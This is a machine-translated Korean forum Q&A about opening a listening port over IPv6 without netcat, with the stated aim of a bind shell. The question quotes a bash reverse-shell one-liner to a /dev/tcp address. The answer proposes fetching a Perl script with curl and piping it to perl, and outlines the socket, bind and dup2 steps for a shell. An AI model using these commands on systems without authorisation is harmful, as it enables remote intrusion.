netcat 없이 IPV6에서 수신 대기 포트 만들기

netcat 없이 IPV6에서 수신 대기 포트 만들기

IPV6 주소의 포트에서 수신 대기할 수 있기를 원합니다(결국 바인드 쉘 생성).

바인딩하려는 Linux(debian) 시스템에 설치된 netcat을 사용하려고 합니다. 안타깝게도 IPV6이 아닌 IPV4 TCP 포트에만 바인딩되는 것 같습니다. (이것은 netcat의 이전 버전이며 IPV6를 지원하지 않습니다.)

리버스 쉘에도 비슷한 방법이 있다는 것을 알고 있는데, 내 상황에 적합한 비슷한 방법이 있는지 궁금합니다.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

제가 도울 수 없는 몇 가지 규칙이 있습니다:

추가 앱을 설치하거나 업데이트하거나 앱을 직접 만들 수 없습니다.

답변1

아니요. 읽다:NC 청취 대신 /dev/tcp 청취.

더 이상 정보가 없으면 Debian의 필수 패키지인 Perl의 시스템 버전을 사용할 수 있습니다. 단일 파일 Perl 스크립트를 작성합니다. 예를 들어 대상 시스템에 애플리케이션으로 존재하지 않고 단일 파일 스크립트를 실행하는 방법을 거의 확실하게 찾을 수 있습니다 curl https://dropbox.com/.../script.pl | perl. 스크립트는 stdin 및 stdout을 시스템 호출 socket(), bind(), listen()및 원본 fd를 호출하기 전에 대체합니다.dup2()close()exec()

pythonstandard데비안 패키지가 설치되어 있으면 프로그래밍이 더 좋습니다.

분명히, 이미 설치되어 있다면 inetd자신만의 구성 파일을 사용하여 실행할 수 있습니다. SSH를 사용하는 것이 마음에 들지 않고 sshdSSH를 설치했다면 사용할 수 있습니다. 다른 어떤 옵션보다 확실히 안전합니다 :-P. 읽다:일반 사용자로 sshd를 실행할 수 있습니까?

관련 정보